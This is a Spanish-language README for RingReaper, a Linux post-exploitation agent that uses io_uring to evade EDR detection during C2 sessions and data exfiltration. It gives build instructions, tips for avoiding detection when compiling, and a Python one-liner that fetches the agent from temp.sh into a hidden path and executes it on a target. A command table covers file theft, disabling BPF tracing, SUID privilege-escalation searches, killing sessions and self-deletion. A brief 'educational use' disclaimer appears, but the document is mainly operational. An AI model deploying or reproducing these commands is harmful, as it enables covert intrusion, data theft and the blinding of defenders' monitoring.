
Agente de post-explotación para Linux que utiliza io_uring para evadir sigilosamente la detección de EDR evitando las llamadas al sistema tradicionales.
RingReaper es un agente de post-explotación sencillo para Linux, diseñado para quienes necesitan operar de forma sigilosa, minimizando las posibilidades de ser detectados por soluciones EDR. La idea detrás de este proyecto fue aprovechar io_uring, la nueva interfaz de E/S asíncrona del kernel de Linux, específicamente para evitar las llamadas al sistema tradicionales que la mayoría de los EDR suelen monitorizar o incluso interceptar.
En la práctica, RingReaper sustituye llamadas como read, write, recv, send, connect, entre otras, por operaciones de E/S asíncronas (io_uring_prep_*), reduciendo la exposición a hooks y al rastreo de eventos que los productos de seguridad suelen recopilar de forma estandarizada.
NOTA: Algunas funciones dentro de RingReaper todavía dependen de llamadas tradicionales, como la lectura de directorios (
opendir,readdir) o la resolución de enlaces simbólicos (readlink), porque io_uring aún no soporta completamente este tipo de operaciones de forma nativa. Aun así, durante mis pruebas, estas llamadas no activaron alertas en los EDR probados, precisamente porque quedan fuera de las rutas de E/S de red monitorizadas.
En resumen, RingReaper fue construido para evitar las llamadas tradicionales tanto como sea posible, e incluso en los casos en los que tuvo que utilizarlas, demostró una excelente capacidad de evasión, sin alertas ni detecciones por parte de los agentes de seguridad comunes.
Consulta el artículo completo y detallado en:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
Autor: https://www.linkedin.com/in/mathsalves/
Rootkit Researchers
En RingReaper, todo el tráfico de datos, incluidos los comandos de control, las subidas y las descargas, debe pasar a través de io_uring. Esto también garantiza que las operaciones más sensibles permanezcan fuera del radar de los hooks y de la monitorización de EDR basada en llamadas tradicionales.
RingReaper fue diseñado desde cero para evadir la monitorización de EDR. Muchas soluciones de seguridad basan sus disparadores de detección en interceptar syscalls clásicas (read, recv, send, connect) a nivel de kernel. Dado que io_uring es relativamente nuevo y está menos integrado en el pipeline de telemetría de estos productos, a menudo pasa desapercibido para la mayoría de los agentes, lo que permite sesiones C2 y exfiltración de datos sin activar alertas.
Incluso las funciones que todavía dependen de syscalls más antiguas (como la lectura de directorios) resultaron ser lo suficientemente discretas como para no levantar alarmas.
liburingProbado SOLO en las siguientes versiones de kernel;
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
Durante las pruebas, noté que el EDR detectaba la compilación de agent.c monitorizando el uso de GCC en tiempo real (es mejor no usar wget/curl). Para evadir esto, compilé el agente estáticamente en mi máquina, envié el binario final a través de temp.sh y usé Python en el objetivo para descargarlo y ejecutarlo. Esta técnica funcionó sin generar alertas.
Servidor (máquina de ataque):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443Agente (máquina objetivo):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"Versión 2.0:
No dudes en hacer pull requests y contribuir al proyecto. Si encuentras cualquier error con RingReaper, crea un issue y repórtanoslo.
Este código fue desarrollado únicamente con fines educativos, de investigación y para demostraciones controladas de técnicas de evasión. Cualquier uso fuera de entornos autorizados, o con fines maliciosos, está estrictamente prohibido y es responsabilidad total del usuario. El uso no autorizado o ilegal puede violar leyes locales, nacionales o internacionales.
| Command | Description | Backend |
|---|
get | Buscar archivos en el objetivo | 100% io_uring |
put | Subir archivos (usa recv en el lado del agente) | 100% io_uring |
killbpf | Deshabilitar el rastreo, eliminar los archivos de /sys/fs/bpf y terminar procesos que usen bpf-map | llamadas tradicionales + io_uring |
users | Listar usuarios con sesión iniciada leyendo utmp | 100% io_uring |
ss / netstat | Listar conexiones TCP desde /proc/net/tcp | 100% io_uring |
privesc | Buscar binarios SUID usando statx | 100% io_uring |
ps | Listar procesos (usa opendir, readdir) | llamadas tradicionales + io_uring |
kick | Terminar sesiones pts (usa opendir, readdir, kill, readlink) | llamadas tradicionales + io_uring |
me | Mostrar PID/TTY (getpid, ttyname) | llamadas tradicionales + io_uring |
selfdestruct | Eliminar el binario actual (usa readlink) | llamadas tradicionales + io_uring |
exit | Terminar la conexión y salir | 100% io_uring |
help | Mostrar ayuda | 100% io_uring |